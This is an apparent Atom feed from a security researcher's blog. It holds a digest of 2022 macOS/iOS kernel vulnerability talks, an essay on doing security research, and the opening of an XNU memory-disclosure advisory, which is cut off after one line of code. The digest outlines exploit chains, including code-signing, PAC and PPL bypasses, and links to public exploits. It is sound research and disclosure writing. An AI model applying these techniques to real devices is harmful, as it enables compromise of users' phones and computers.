<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://alexplaskett.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://alexplaskett.github.io/" rel="alternate" type="text/html" /><updated>2024-10-17T08:24:36+00:00</updated><id>https://alexplaskett.github.io/feed.xml</id><title type="html">Blog</title><subtitle>Random Security Research</subtitle><author><name>Alex Plaskett</name></author><entry><title type="html">Vulnerability Research Digest - Issue 1 (macOS/iOS in 2022)</title><link href="https://alexplaskett.github.io/macos-ios-security-research/" rel="alternate" type="text/html" title="Vulnerability Research Digest - Issue 1 (macOS/iOS in 2022)" /><published>2022-12-29T00:00:00+00:00</published><updated>2022-12-29T00:00:00+00:00</updated><id>https://alexplaskett.github.io/macos-ios-security-research</id><content type="html" xml:base="https://alexplaskett.github.io/macos-ios-security-research/"><![CDATA[<p>In the past few years I created some twitter threads (e.g. <a href="https://twitter.com/alexjplaskett/status/1553738346391822336">Windows Kernel Security</a> <a href="https://twitter.com/alexjplaskett/status/1535189987846668288">Linux Kernel Security</a>) on a number of publications I found the most interesting within the vulnerability research space, this didn’t really give me that much space to actually provide detail or allow this to be stored within a format which is easily accessible and I could refer back too. Therefore this years vulnerability research digest is going to be on my blog too.</p>

<p>In this post I will cover some of the presentations I found most interesting from a macOS/iOS kernel security research perspective in 2022.</p>

<h1 id="apple-neural-engine-from-poc-2022-_simo36">Apple Neural Engine from POC 2022 (<a href="https://twitter.com/_simo36">@_simo36</a>)</h1>

<p><a href="https://github.com/0x36/weightBufs/blob/main/attacking_ane_poc2022.pdf">https://github.com/0x36/weightBufs/blob/main/attacking_ane_poc2022.pdf</a></p>

<p>The Apple Neural Engine is the name for the energy efficient and high-throughput engine for Machine Learning inference on Apple Silicon. There has been previous security research into this by <a href="https://i.blackhat.com/asia-21/Friday-Handouts/as21-Wu-Apple-Neural_Engine.pdf">Wish Wu</a> which describes the architecture and different components within both the software and hardware stack. _simo36’s research sets the background on the frameworks and tooling which is used to interface with the engine and the IPC communication mechanisms used. It then describes the compiler used to build ML models and the pipeline used. The kernel interface is then documented with all its attack surface and shows the path right through from userland to kernel, then to firmware.</p>

<p>_simo36 found a significant number of vulnerabilities within different components within the ANE architecture. He first describes multiple different classes of vulnerability for the issues he found (OOB write, integer overflow, improper index validation, signature check bypass etc).</p>

<p>The talk then moves into exploitation and building an arbitrary r/w primitive by chaining together 4 different vulnerabilities.</p>

<p>He also release the exploit for it <a href="https://github.com/0x36/weightBufs">here</a></p>

<h1 id="tales-from-the-iosmacos-kernel-trenches-from-zer0con-2022-jaakerblom">Tales from the iOS/macOS Kernel Trenches from Zer0con 2022 (<a href="https://twitter.com/jaakerblom">@jaakerblom</a>)</h1>

<p><a href="https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf">https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf</a></p>

<p>This talk covers some recent vulnerabilities patched within macOS/iOS. Specifically multiple issues in IOMobileFramebuffer and one in the XNU kernel itself.</p>

<p>The vulnerabilities discussed were (in IOMobileFramebuffer):</p>
<ul>
  <li>CVE-2021-30883 - An integer overflow leading to a heap overflow reached from set_block selector</li>
  <li>CVE-2021-309XX - Multiple vulnerabilities also reached from the set_block selector and usable within Safari until 15.2 beta 3.</li>
</ul>

<p>The talk discusses about how IOMobileFramebuffer is mostly just a wrapper for passing data to the DCP hardware. Bugs actually in the DCP firmware and not the kernel code itself. He then talks about weaknesses within the DCP lack of mitigations and how DCP exploitation leads to traditional kernel r/w primitives.</p>

<p>See Ian Beer’s talk for a lot more info about this (as documented below).</p>

<ul>
  <li>The next vulnerability discussed is CVE-2021-30937 a core XNU bug. A set of racing bugs in setsockopt with improper locking which lead to a UAF.</li>
</ul>

<p>Project Zero describes the bug in this <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2224&amp;q=CVE-2021-30937&amp;can=1">issue tracker entry</a>.</p>

<p>The talk then focuses on the primitives gained from this bug (a byte copy primitive) and how they can be used for exploitation. Throughout the different versions of iOS different techniques can be used to spray. Therefore this section of the talk discusses Recent Generic Kernel R/W primitives:</p>
<ul>
  <li>ipc_port</li>
  <li>pipe buffers</li>
  <li>uio</li>
  <li>IOSurfaceClient (the method used by Simo too).</li>
</ul>

<p>The talk then goes into discussing the different “capabilities” an exploit developer would require for exploitation, such as:</p>
<ul>
  <li>How to kfree and iOS 15.</li>
  <li>How to know where controlled kernel memory is.</li>
</ul>

<p>The next section details exploitation of the following CVE’s:</p>
<ul>
  <li>CVE-2021-30883 - Using IOSurfaceClient technique (<a href="https://saaramar.github.io/IOMFB_integer_overflow_poc/">vuln</a>)</li>
  <li>CVE-2021-30937 - <a href="https://github.com/potmdehex/multicast_bytecopy">multicast_bytecopy</a></li>
</ul>

<p>The final section focuses on recent kernel mitigations on iOS 15.2-15.5 and how these can hinder an attacker.</p>

<h1 id="understanding-mach-ipc-from-mosec-2022-realbrightiup">Understanding Mach IPC from MOSEC 2022 (<a href="https://twitter.com/realBrightiup/">@realBrightiup</a>)</h1>

<p><a href="https://github.com/brightiup/Trekking/tree/main/Slides">https://github.com/brightiup/Trekking/tree/main/Slides</a></p>

<p>This talk starts with a Case Study of Project Zero’s issue 2107. A type confusion within the turnstiles leading to the kernel treating a <code class="language-plaintext highlighter-rouge">host_notify_entry</code> as an <code class="language-plaintext highlighter-rouge">ipc_port</code>.</p>

<p>The second case study is from <a href="https://twitter.com/WangTielei">Tielei</a> with another type confusion where it was possible to mislead the kernel into believing the bound destination port in a special reply port is of type <code class="language-plaintext highlighter-rouge">ipc_importance_task_t</code>.</p>

<p>There are some key takeaways which can be draw from these issues.</p>

<p>The talk then coverts the background knowledge of mach ports and IPC (and how rights work). The talk then goes into a deep dive into how the XNU kernel manages IPC, how the locks are critical and the details of different send / receive rights.</p>

<p>I am not going to cover this one in detail, as Mach IPC is complex and the slides do a much better job of explaining it than I could.</p>

<h1 id="appleavd-from-hexacon-2022-isciurus-nikitatarakanov">AppleAVD from Hexacon 2022 (<a href="https://twitter.com/isciurus/">@isciurus</a> <a href="https://twitter.com/NikitaTarakanov/">@NikitaTarakanov</a>)</h1>

<p><a href="https://github.com/isciurus/hexacon2022_AppleAVD/blob/main/hexacon2022_AppleAVD.pdf">https://github.com/isciurus/hexacon2022_AppleAVD/blob/main/hexacon2022_AppleAVD.pdf</a></p>

<p>This talk is about the Video decoding subsystem called AppleAVD. The talk starts off with an overview of the architecture and how the components fit together. The main focus of the talk is on the kernel component AppleAVD kext. The talk goes through analysis of this kext, the decoders implemented for parsing media within kernel space. The attack surface of the kext is analysed with its entry points and methods used for decoding / processing media.</p>

<p>The talk then goes through previously found vulnerabilities within AppleAVD both in-the-wild and issues found by other researchers. The talk then talks about their process for analysis and bug hunting within the kext’s (from both dynamic and static approaches).</p>

<p>They then talk about the process of fuzzing the decoders.</p>

<p>At the time of writing it seemed they didn’t find any vulnerabilities within the decoder implementation themselves from fuzzing. However, they identified <a href="https://support.apple.com/en-us/HT213530">CVE-2022-46694</a> a vulnerability within the outer kext logic which has now been patched by Apple.</p>

<h1 id="fugu15---a-deep-dive-into-ios-15-exploitation-at-obts-linushenze">Fugu15 - A deep dive into iOS 15 exploitation at OBTS (<a href="https://twitter.com/LinusHenze/">@LinusHenze</a>)</h1>

<p>This talk covers the creation of a jailbreak for iOS 15 (including 15.2 and up). Creation of a jailbreak has become significantly more difficult where one kernel vulnerability was previously enough, now PAC and PPL bypasses are required as well. The talk describes the vulnerabilities used in Fugu15, how the kernel exploit works and PAC and PPL bypasses. It also covers new mitigations introduced in 15.2, what effect these have on jailbreaking and how these were bypassed in Fugu15.</p>

<p><a href="https://www.youtube.com/watch?v=rPTifU1lG7Q">Youtube Video</a></p>

<p><a href="https://github.com/pinauten/Fugu15">Code</a></p>

<p>Notes on the four vulnerabilities used were as follows:</p>

<h2 id="fastpath-code-signing-bypass">fastPath (code signing bypass)</h2>
<ul>
  <li>CMS signed by a certificate</li>
  <li>CoreTrust ensures that CMS blob is valid and that hash matches code signature</li>
  <li>Returns flags to AMFI to indicate cert type.</li>
  <li>CT returns success as long as the CMS blob looks valid even if signed is not trusted (not a vuln).</li>
  <li>AMFI rejects if the CT validation fails otherwise it checks the CT flags</li>
  <li>If its app store signed then this will be set a valid.</li>
  <li>userspace amfid then has a chance to verify the signer is trusted.</li>
</ul>

<p>The vuln is that the flags are taken directly from the certificate (AppStore OID included in cert). No further checks on the signer are performed..</p>

<p>This was a regression (iOS 13 and below not affected).</p>

<p>** installHax - Wasn’t fully <a href="https://github.com/pinauten/Fugu15/tree/master/Tools/installHaxx">patched</a> at the time.</p>

<p>The code for this exploit is <a href="https://github.com/pinauten/Fugu15/tree/master/Exploits/fastPath">here</a></p>

<p>This gets arb code exec on the device.</p>

<h2 id="oobpci-arbitrary-kernel-rw">oobPCI (arbitrary kernel r/w)</h2>

<ul>
  <li>Vuln in DriverKit (drivers in userspace).</li>
  <li>Code signature bypass to grant the DriverKit entitlement.</li>
  <li>Low level access to PCI (for reading and writing PCI devices).</li>
  <li>Attacker controlled offset for a memory read/write (with no checks to determine if its within the mapping).</li>
  <li>PCI Memory Address used for mapping is deterministic.</li>
</ul>

<p>Exploitation:</p>
<ul>
  <li>Guess the offset to the physmap &gt; Find the boot args region &gt; Scan the initial page tables &gt; Determine the offset of start address physmap and the current read address.</li>
  <li>As the physmap is located at an L3 boundary, can calculate the lower 25 bits of the PCI region via offset to the Physmap.</li>
  <li>Then we can scan the RAM to find IOMemoryMap corresponding to the PCI memory (using the low 25 bits calculated previously) to determine the PCI memory start address and determine kernel slide from this and the vtable.</li>
</ul>

<p>However, on 15.2+ there are still mitigations which hinder full usage of the arb kernel r/w. Linus then goes on to talk about how he bypassed these as well with the following two vulnerabilities.</p>

<p>The code for this exploit is <a href="https://github.com/pinauten/Fugu15/tree/master/Exploits/oobPCI">here</a></p>

<h2 id="badrecovery-cfipac-bypass">badRecovery (CFI/PAC bypass)</h2>

<p>A CFI/PAC bypass via thread fault handlers (CVE-2022-26765).</p>

<p>As a reminder, Pointer Authentication Codes are a cryptographic signature for pointers which is used to prevent modification of the pointer/data. They are also used to implement control flow integrity (to prevent control flow hijacking). Thread fault handlers are a way to handle expected faults during data accesses. Kernel jumps to the handler when a data abort fault occurs.</p>

<p>These are typically used for things like copying data into kernel space (copyin), when an address would typically cause a panic if the thread fault handler was not set to handle this.</p>

<p>Linus identified a function where it does a normal return and not an authenticated return (and you can’t assume that the link register has the expected value and has not been modified).</p>

<p>I won’t go into the details of the exploitation here, as the process of exploitation is well explained within the video recording.</p>

<h2 id="tlbfail-ppl-bypass">tlbFail (PPL bypass)</h2>

<p>PPL bypass via improper TLB flush</p>

<p>The final vulnerability within the chain and to bypass the last mitigation is a bypass of PPL. To recap PPL is the Page Protection layer which protects signed userspace code and some kernel data from being modified. It is a higher privilege level than the kernel.</p>

<p>PPL also manages the page tables to prevent the kernel from mapping PPL-protected data and provides some methods for mapping and unmapping memory (but with checks to ensure your not trying to map PPL-protected memory).</p>

<p>Nested Page Tables</p>
<ul>
  <li>Large DYLD shared cache mapped into every process</li>
  <li>Page tables are reused (shared) across multiple processes to save memory.</li>
</ul>

<p>Translate Lookaside Buffer</p>
<ul>
  <li>Caches virtual to physical address translations</li>
  <li>TLB needs flushed when changing page table entries to prevent CPU using cached entries.</li>
  <li>TLB entries have an address space ID (ASID) to limit flushing of the entries for only the page tables modified</li>
</ul>

<p>He then covers the code for the logic of flushing the TLB.</p>

<p>The question is what happens in the case of a PPL TLB flush? He then manages to modify the mappings in such a way that one process has access to Page X via the TLB (but with a refcount of zero) and to tell PPL that it now owns this page and forces reuse of it (as an L3 page table). Using this stale TLB entry it is possible to map page X by creating a new translation table entry and thus allowing mapping PPL protected memory.</p>

<p>The talk finishes off by demo’ing the exploit.</p>

<h1 id="the-journey-to-hybrid-apple-driver-fuzzing-from-poc-2022-peterpan0927">The Journey To Hybrid Apple Driver Fuzzing from POC 2022 (<a href="https://twitter.com/Peterpan0927/">@Peterpan0927</a>)</h1>

<p><a href="https://github.com/star-sg/Presentations/blob/main/POC%202022/Zhenpeng%20Pan.pdf">https://github.com/star-sg/Presentations/blob/main/POC%202022/Zhenpeng%20Pan.pdf</a></p>

<p>The talk starts off by covering Apple Security Enhancements from a high level for the XNU kernel and the fact that these mitigations make exploiting UAF and type confusion much harder or unexploitable in certain scenarios. Therefore proposed that drivers will be a much more valuable target than before.</p>

<p>He reviewed many POCs for drivers with the idea of building a fuzzer using code auditing and fuzzing together. The first tier of the fuzzer does lightweight collection of all reachable services and generates a second tier to do enhanced fuzzing based on code audit.</p>

<p>He found multiple bugs this way, such as CVE-2021-30923/CVE-2022-22661/CVE-2022-32814 and over 15+ DOS bugs with others in the pipeline.</p>

<p>Finally he covered some details of non public bugs found by the fuzzer and future plans together with an vulnerability which gives a 100% stable info leak of the kernel slide on macOS 13 together with a novel info leak attack surface.</p>

<p>This talk was interesting for me, as back in 2017 <a href="https://github.com/alexplaskett/Publications/blob/master/mwri-44con-biting-the-apple-that-feeds-you-2017-09-25.pdf">slides</a> I developed a fuzzer using similar hybrid approaches which was also effective in finding multiple issues in the kernel. However, this talk highlights recent vuln’s found and the code patterns which can be implemented in the fuzzer or reviewed for to find.</p>

<h1 id="abusing-iphone-coprocessors-for-privilege-escalation-at-obts-i41nbeer">Abusing iPhone coprocessors for Privilege Escalation at OBTS (<a href="https://twitter.com/i41nbeer/">@i41nbeer</a>)</h1>

<p><a href="https://www.youtube.com/watch?v=H5oz1U03U1Q">Youtube video</a></p>

<p>We are starting to see much more interest into the separate co-processors, peripherals or firmware recently on mobile devices. This includes in-the-wild attacks. Ian’s talk provided a technical deep-dive into how this in-the-wild exploit escaped the iPhone sandbox via a novel 0-day in the custom Apple co-processor.</p>

<ul>
  <li>Starts off the talk showing how a user is phished into installing a fake mobile operator application which is signed using an enterprise certificate.</li>
  <li>Curious attack because it looked like the mobile network data was actually being disconnected via the operator.</li>
  <li>Reversing the application showed that it was containing multiple exploits (including public ones from GitHub etc). sock_puppet, time_waste, lio_listio, AVE decoder</li>
  <li>However, contained two more 0-day exploits (when the sample was found)..
    <ul>
      <li><a href="https://saaramar.github.io/IOMFB_integer_overflow_poc/">CVE-2021-30883</a></li>
    </ul>
  </li>
  <li>
    <p>And the DCP 0-day the talk was about.. (CVE-2021-30883)</p>
  </li>
  <li>Exploit had a bunch of printf statements in it which hinted how it worked, especially DCP (display co-processor) which handles low level display stuff on a separate piece of Apple silicon.</li>
  <li>ARM64 Mach-o binary for the firmware</li>
  <li>IOMobileFramebuffer functionality got moved out from the kernel into the DCP.</li>
  <li>A lot of the code literally got moved into the RTKit world.</li>
  <li>
    <p>At the time of the talk (don’t know if this has changed now!) it had No PAC, ASLR, Predictable Heap Addresses,</p>
  </li>
  <li>Ian then goes on to describe how you communicate with the DCP.</li>
  <li>Userland &gt; Kernel &gt; DCP (Deserialized and reserialized in the process).</li>
  <li>DCP and DDR controller</li>
  <li>
    <p>IOMMU / SMMU / DART (he the describes how an IOMMU works) and how it can be used as a security boundary.</p>
  </li>
  <li>EL1 kernel code to DCP conversion.</li>
  <li>Exploit was building fake objects on the DCP to make kernel helper RPCs to map arbitrary memory such that from userspace they could read and write kernel memory.</li>
</ul>

<p>Then finally he talks about the actual vulnerability itself:</p>
<ul>
  <li>Uniformity Compensation</li>
  <li>Memory corruption described <a href="https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html">here</a></li>
  <li>Mitigations regression or engineering trade-off’s moving onto low powered cores.</li>
  <li>DCP/AVE/SEP/AOP/U1/AGX/ANE/BLE/WiFi (other co-processors / dedicated radio hardware etc)</li>
</ul>

<h1 id="others-presentations">Others presentations:</h1>

<p>There are some other talks I didn’t have time to cover in this issue but are also worth checking out.</p>

<ul>
  <li>Life and death of an iOS attacker by <a href="https://twitter.com/qwertyoruiopz">Luca Todesco</a> - <a href="https://www.youtube.com/watch?v=8mQAYeozl5I">https://www.youtube.com/watch?v=8mQAYeozl5I</a></li>
  <li>A journey of hunting macOS kernel vulnerability by Peter NGUYỄN Vũ Hoàng - <a href="https://github.com/star-sg/Presentations/blob/main/Zer0Con%202022/A%20Journey%20Of%20Hunting%20macOS%20kernel.pptx">https://github.com/star-sg/Presentations/blob/main/Zer0Con%202022/A%20Journey%20Of%20Hunting%20macOS%20kernel.pptx</a></li>
</ul>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><summary type="html"><![CDATA[In the past few years I created some twitter threads (e.g. Windows Kernel Security Linux Kernel Security) on a number of publications I found the most interesting within the vulnerability research space, this didn’t really give me that much space to actually provide detail or allow this to be stored within a format which is easily accessible and I could refer back too. Therefore this years vulnerability research digest is going to be on my blog too.]]></summary></entry><entry><title type="html">Demystifying Security Research - Part 1</title><link href="https://alexplaskett.github.io/demystifying-security-research-part1/" rel="alternate" type="text/html" title="Demystifying Security Research - Part 1" /><published>2022-04-24T00:00:00+00:00</published><updated>2022-04-24T00:00:00+00:00</updated><id>https://alexplaskett.github.io/demystifying-security-research-part1</id><content type="html" xml:base="https://alexplaskett.github.io/demystifying-security-research-part1/"><![CDATA[<p>There are a number of key questions which are always asked by people wanting to get into security research, find out more about how others go about it or just generally improve their processes. In this post I want to highlight some of things which work for me and some guidance which may help for others. This is a rare less technical post by me as it feels like a lot of the time people see the end results of the research but the process of getting there and the challenges faced is less obvious.</p>

<p>Some of the commonly asked questions asked are:</p>

<ul>
  <li>How to get started within security research?</li>
  <li>What topics do you think are worth researching?</li>
  <li>How do you approach a new topic initially?</li>
</ul>

<p>There is no one size fits all answer for this and a lot of this post is just what works for me. However, there are some key points to consider and tips to give. This is mainly written from the perspective of a non-academic offensive security researcher, who has done security research both for a free time hobby and as a career. <a href="https://twitter.com/_xpn_/status/1515987957894848513">XPN</a> started a twitter thread on this recently and this just goes to show how varying sources of motivation inspire others. <a href="https://medium.com/@yardenshafir2/security-research-and-the-creative-process-552fd91f52a7">Yarden Shafir</a> also detailed the creativity in security research.</p>

<p>From a career perspective, I also think this is one of the paths which is less clear to get into and what exactly “security research” is. There’s also a wide variety of what you would call “security research”. Some do this entirely in their free time, others dedicate certain time components to it and others are fortunate to have it as their full time career. There’s also the fact that this spans from something like bug hunting to all the way to academic publications and professorships. Regardless of what you consider security research to be, there are some key takeaways when working on more novel security areas.</p>

<p>I will aim to cover the first two points in this article, part 2 will cover the approach in more detail. I also will give a concrete demonstration of a real research project and the approach taken.</p>

<h1 id="topic-selection">Topic Selection</h1>

<p>Probably the most important thing when embarking on security research is what topic should this be in?</p>

<p>Here are some key areas which may help guide this train of thought.</p>

<h2 id="enjoyment">Enjoyment</h2>

<p><em>Look into something which you care about</em></p>

<p>This is the most important thing! You are not going to do your best work if you are not interested in the subject or you are led down a path by someone else which is not right for you. There are lots of reasons why people find inspiration or end up choosing the area they do and this is very individual. However, here are some examples:</p>

<ul>
  <li>See a technology on a pentest engagement which there has not been much published on or any tools available for?</li>
  <li>Have you worked in another industry previously and have in depth knowledge in something unique or know people who do?</li>
  <li>Listen to others who either encounter a problem in a certain area and need help. (This one’s the more controversial one, as others can often have different incentives, however, if you can provide value and also find it enjoyable in the process, then this is a win win for both parties).</li>
  <li>Proving a statement or assumption wrong. This is the typical “hacker” / adversarial mindset but massively helps with security research as it is basically providing assumptions or threat models wrong or inadequate.</li>
  <li>Investigation of in the wild tools, techniques and procedures used by threat actors.</li>
  <li>Spot an area for improvements either from a defensive or offensive perspective or a common problem an organisation has.</li>
  <li>See a talk which inspires you to dig more into a subject.</li>
</ul>

<p>It is worth mentioning that a lot of more experienced researchers have way more ideas than they have time available to spend on these things. Whilst asking for advice is advantageous and can help focus initial thoughts and provide some background into what has been done before, the topic really needs to be driven by your own personal interests and curiosity.</p>

<h2 id="whats-hot-and-what-is-interesting-to-you">What’s hot and what is interesting to you</h2>

<p>There will always be trendy topics within security research. In the past, mobile was a big thing, then cloud was flavour of the week, now Web3 is all over the twitterverse and conferences are starting to dedicate categories to it.</p>

<p>The way I see it is that ultimately the technologies are still built on the fundamentals of computing. To have a non-surface level understanding of these technologies, the basics like programming, networking and operating systems are really important. Once you get started in one area, transferring those skills to the flavour of the week/month technology is very achievable. Sure, it may take some time, but in my opinion it is much harder to go the opposite way.</p>

<p>Those who are more experienced security researchers can pick up a topic and make an impact very quickly based on all the prior knowledge. As a concrete example, reviewing web3 smart contract issues is massively aided by just generally understanding application security and common vulnerability classes. A lot of this is just being able to move up and down the abstraction layers.</p>

<h2 id="business-needs">Business Needs</h2>

<p>Whilst a lot of security people get into security research mainly because of their interest and the fact that it is basically a hobby, a lot are very fortunate to have companies support the research or need it for product and service development.</p>

<p>Obviously the more your research topic aligns with commercial needs, the more likely support and backing is available for you. This is a really large topic and really depends what the business purpose is. However, some things to think about could be:</p>
<ul>
  <li>How does the research contribute to services / product development / marketing?</li>
  <li>Is the research going to enhance skills / knowledge etc?</li>
</ul>

<p>In general though, the security research you do often takes a while to translate into tangible things and it’s often difficult to directly correlate the two. For example, you may present a research topic and win business from it.. that is measurable and the impact obvious. However, you may also release something, feel like it’s gone unnoticed, then many years down the line find out it led to the recruitment of someone or your whitepaper is the de-facto reference material for a certain subject. That’s why I think it’s important to take a longer term view of these things and not dwell too much on the immediate short term impact.</p>

<p>From a purely getting research done perspective, unless your job is primarily to manage and organise and shape the direction of this, then overthinking this can lead to procrastination and hinder productivity but it does help to have this in the back of your mind.</p>

<h1 id="brainstorming-and-collaboration">Brainstorming and Collaboration</h1>

<p>At the start of every project it makes sense to sit down and brainstorm about possible approaches and what has been done previously. This ties into the background research section I have covered below. However, here are some key points:</p>

<ul>
  <li>
    <p>Discuss what you are thinking of doing with other people. They may highlight areas you may not have considered or may not be aware of. An example of this may be doing a whiteboard session. This also really helps when you face a setback or deadend. Some of the best exploit ideas have come from discussions with others having previously hit a wall.</p>
  </li>
  <li>
    <p>In the past, a large amount of security was discussed on IRC. Times have changed and technologies have moved on. These days the most visible public discussions occur on twitter, discord and slacks. These mediums are good for building up initial dialog between researchers but networking at conferences and other face to face events is very advantageous when aiming to collaborate on a project.</p>
  </li>
  <li>
    <p>Share your work and get feedback (CFP reviews etc).</p>
  </li>
</ul>

<p>It’s good to share your work early. If you are writing a CFP for a conference, get feedback from both people who know the area well and also those who know nothing about the area. Writing a good CFP entry itself is challenging and there are things which affect the chances of acceptance.</p>

<h1 id="motivation-and-mindset">Motivation and Mindset</h1>

<p>Anyone who does vulnerability research knows it can be a rollercoaster of emotions. The research output you see at conferences often only shows half the picture and can gloss over all the failure in reaching that goal.</p>

<p>The many weeks of not finding anything, thinking you found something, finding out something is not exploitable, finding out the bug you found just got patched etc.. The very temporary buzz you get from getting code exec. Then back again and repeat all over =)</p>

<p><a href="https://twitter.com/mdowd/">Mark Dowd</a> OffensiveCon <a href="https://www.slideshare.net/MarkDowd13/rules-to-hack-by-offensivecon-2022-keynote-251318003?qid=c6ba0071-d766-4694-9fc1-ca2dc1c1ea03&amp;v=&amp;b=&amp;from_search=1">presentation</a> has covered a lot of this recently from a vulnerability researcher perspective and the slides are a very recommended read so its not worth duplicating here. In a future post I will talk about some of the failures in getting to the goal for a concrete topic.</p>

<h1 id="focus">Focus</h1>

<p>One thing I need to cover for security research is focus and distractions. Whilst you can achieve reasonable results dipping in and out on a long term research project, personally I find too much context switching can massively impact my performance. With that said, sometimes it does make sense to switch to another project temporarily to achieve a sense of accomplishment after hitting a wall for so long. The knowledge built up from the initial project will be there and especially in cases such as actively developed codebases may lead to new vulnerabilities being identified which were not there previously.</p>

<p>As a practical example, it is also very challenging to go from being deep within the Linux kernel and then switch to an entirely different platform temporarily. I will cover more about this in the note taking section below.</p>

<p>There is also this concept of deep work vs shallow work. Deep work is the ability to focus without distraction on a cognitively demanding task. With so much of the modern world fighting for your attention it’s very easy to perform shallow work. Whilst things like twitter, slack etc are super advantageous keeping up to date with what’s going on. Notifications and random miscellaneous tasks can destroy this deep focus work. For this you need to build time management strategies which work for you.</p>

<h1 id="research-goals-and-skills-growth">Research Goals and Skills Growth</h1>

<p>Having a good set of tangible practical goals for what you want to achieve is beneficial. However, I think you need to set these goals at a level which is appropriate and your existing knowledge level and experience. The goals need to be something which challenges you and are by no means guaranteed to be successful.</p>

<p>For someone just starting out in their research path then examples could be:</p>

<ol>
  <li>Publish an article on a blog.</li>
  <li>Release a tool to do X.</li>
  <li>Find an 0day in software Y.</li>
</ol>

<p>Some examples of harder research goals could be:</p>

<ol>
  <li>Present your research at the top technical conf’s in the industry.</li>
  <li>Write a book on the subject</li>
  <li>Win Pwn2own in the X category.</li>
  <li>Aim to win a high prize in a top bug bounty (e.g. a perceived hard target).</li>
  <li>Develop a mitigation for X class of vulnerability</li>
</ol>

<p>Ultimately if you set your goals correctly and achieve them, then on the way there you will experience skills growth.</p>

<h1 id="impostor-syndrome">Impostor Syndrome</h1>

<p>It is worth touching on this because I think everyone within the security industry feels this at some period of time, some more than others.</p>

<p>When you start off researching and know very little about a subject, then there’s obviously going to be people out there who know way more than you. Even after a long time researching a subject, there can be people who are hyper-specialised in that area who still know far more.</p>

<p>Ultimately, there’s always going to be someone who’s more technical or likely knows more about you than a subject. (Although admittedly, in certain areas of really niche security research you may be one of the handful of people in the world =)).</p>

<p>Therefore, I think it’s important to look back and understand all the things you have achieved. Your research project may not go as well as you had hoped but there’s always more to do and other areas to explore. Getting some short term tangible output from it can really help with the longer term motivation and feelings of accomplishment.</p>

<p>Likewise, seeing other respected researchers within the industry ideally should be more motivational and help with the mindset of wanting to be “at that level” rather than being demotivational. I guess it’s easy to say this but perhaps hard to realise this in practice.</p>

<p>We stand on the shoulders of giants as they say!</p>

<h1 id="research-notes">Research Notes</h1>

<p>Research note record keeping is a big thing, having tons of files called a.txt, b.txt, lolz.c, uaf.c is not really scalable after a while :) Since I started writing notes in markdown and using version control for tracking and development, then being able to come back, review and update at a later stage is super useful. As research is an iterative approach and that you may often reach a dead end, being able to go back and pick up different areas is super important.</p>

<p>I find maintaining a list of previous research on a topic useful and try to do this for each area I look at. This is normally composed during the background research performed (section below) and updated once I become aware of new papers.</p>

<p>Some good public examples of these which accept PRs are:</p>
<ul>
  <li><a href="https://github.com/xairy/linux-kernel-exploitation">Linux kernel examples</a></li>
  <li><a href="https://github.com/nccgroup/exploit_mitigations">Exploit mitigations</a></li>
</ul>

<h1 id="background-research">Background Research</h1>

<p>The first thing I do when embarking on a new research project is review all the material which is already out there on that subject. As an example, recently I had been working on Windows Kernel exploitation, so going through recent conference presentations, whitepapers and blog posts to understand whats already out there was super important. As I had more recently been looking at macOS related stuff, my windows knowledge was a little rusty and it’s pretty hard to carry around multiple platforms security aspects in your head at all times =)</p>

<p>Some of the main sources of information I use are:</p>
<ol>
  <li>Conference output</li>
  <li>Blog posts</li>
  <li>Academic papers</li>
  <li>Bug tracking systems</li>
  <li>Source code history</li>
</ol>

<h1 id="conclusion">Conclusion</h1>

<p>In part 1 of this blog, I hope I raised some useful points and have helped demystify some of the thought processes which go on prior to and behind the research. Expect a more concrete example from a past research project in the near future.</p>

<h1 id="references">References</h1>

<p>[1] Mark Dowd - <a href="https://www.slideshare.net/MarkDowd13/rules-to-hack-by-offensivecon-2022-keynote-251318003?qid=c6ba0071-d766-4694-9fc1-ca2dc1c1ea03&amp;v=&amp;b=&amp;from_search=1">OffensiveCon Key Note</a></p>

<p>[2] Yarden Shafir - <a href="https://medium.com/@yardenshafir2/security-research-and-the-creative-process-552fd91f52a7">Security Research and the creative process</a></p>

<p>[3] XPN - <a href="https://twitter.com/_xpn_/status/1515987957894848513">random twitter thread</a></p>]]></content><author><name>Alex Plaskett</name></author><category term="Research" /><category term="Mindset" /><category term="Approach" /><summary type="html"><![CDATA[There are a number of key questions which are always asked by people wanting to get into security research, find out more about how others go about it or just generally improve their processes. In this post I want to highlight some of things which work for me and some guidance which may help for others. This is a rare less technical post by me as it feels like a lot of the time people see the end results of the research but the process of getting there and the challenges faced is less obvious.]]></summary></entry><entry><title type="html">CVE-2021-30660 - XNU Kernel Memory Disclosure</title><link href="https://alexplaskett.github.io/CVE-2021-30660/" rel="alternate" type="text/html" title="CVE-2021-30660 - XNU Kernel Memory Disclosure" /><published>2021-06-01T00:00:00+00:00</published><updated>2021-06-01T00:00:00+00:00</updated><id>https://alexplaskett.github.io/CVE-2021-30660</id><content type="html" xml:base="https://alexplaskett.github.io/CVE-2021-30660/"><![CDATA[<p>The <code class="language-plaintext highlighter-rouge">msgrcv_nocancel</code> syscall could disclose uninitialized memory from kernel space into userspace. This is due to an incorrect calculation being performed when copying the memory.</p>

<p>The vulnerability was patched in the following releases:</p>
<ul>
  <li><a href="https://support.apple.com/en-us/HT212325">macOS 11.3</a></li>
  <li><a href="https://support.apple.com/en-us/HT212317">iOS 14.5</a></li>
</ul>

<h1 id="vulnerability-details-sysv_msgc">Vulnerability Details (sysv_msg.c)</h1>

<p>The <code class="language-plaintext highlighter-rouge">msgrcv_nocancel</code> syscall takes as part of its arguments the message size from userspace as <code class="language-plaintext highlighter-rouge">msgsz</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span>
<span class="nf">msgrcv_nocancel</span><span class="p">(</span><span class="k">struct</span> <span class="n">proc</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msgrcv_nocancel_args</span> <span class="o">*</span><span class="n">uap</span><span class="p">,</span> <span class="n">user_ssize_t</span> <span class="o">*</span><span class="n">retval</span><span class="p">)</span>
